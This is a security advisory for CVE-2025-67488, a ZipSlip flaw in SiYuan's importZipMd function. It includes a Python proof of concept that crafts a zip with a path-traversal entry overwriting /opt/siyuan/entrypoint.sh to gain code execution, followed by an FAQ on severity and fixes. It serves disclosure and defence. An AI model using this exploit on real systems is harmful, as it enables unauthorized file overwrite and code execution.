CVE-2025-67488: SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE
Summary Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.
Details An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.
PoC Code used to generate the ZipSlip: python #!/usr/bin/env python3 import sys, base64, zipfile, io, time
def preparezipslip(filename): orgfile1 = open('Test.md','rb').read() payload = open('entrypoint.sh','rb').read() #b"testpayload" zipslip = io.BytesIO() with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIPDEFLATED) as zipf: info = zipfile.ZipInfo('Test.md') mtime = time.time() t = time.localtime(mtime) info.datetime = (t.tmyear, t.tmmon, t.tmmday, t.tmhour, t.tmmin, t.tmsec) zipf.writestr(info, orgfile1) info = zipfile.ZipInfo(filename) mtime = time.time() t = time.localtime(mtime) info.datetime = (t.tmyear, t.tmmon, t.tmmday, t.tmhour, t.tmmin, t.tmsec) zipf.writestr(info, payload) return zipslip.getvalue()
gz = preparezipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh') open('exp.zip', 'wb').write(gz)
Impact The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container
Other sources
SiYuan is self-hosted, open source personal knowledge management software. Versions 0.0.0-20251202123337-6ef83b42c7ce and below contain function importZipMd which is vulnerable to ZipSlips, allowing an authenticated user to overwrite files on the system. An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, and can escalate to full code execution under some circumstances. A fix is planned for version 3.5.0.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2025-67488?
CVE-2025-67488 is classified as a high-severity vulnerability due to its potential for file overwriting by authenticated users.
How does CVE-2025-67488 exploit the system?
CVE-2025-67488 exploits the ZipSlip vulnerability in the importZipMd function, allowing attackers to overwrite files on the system.
Who is affected by CVE-2025-67488?
CVE-2025-67488 affects users of the Siyuan Note software version up to 0.0.0-20251202123337-6ef83b42c7ce.
How do I fix CVE-2025-67488?
To mitigate CVE-2025-67488, update the Siyuan Note software to the latest version that addresses the ZipSlip vulnerability.
What impact does CVE-2025-67488 have on system security?
CVE-2025-67488 can significantly compromise system security by allowing unauthorized file modifications by authenticated users.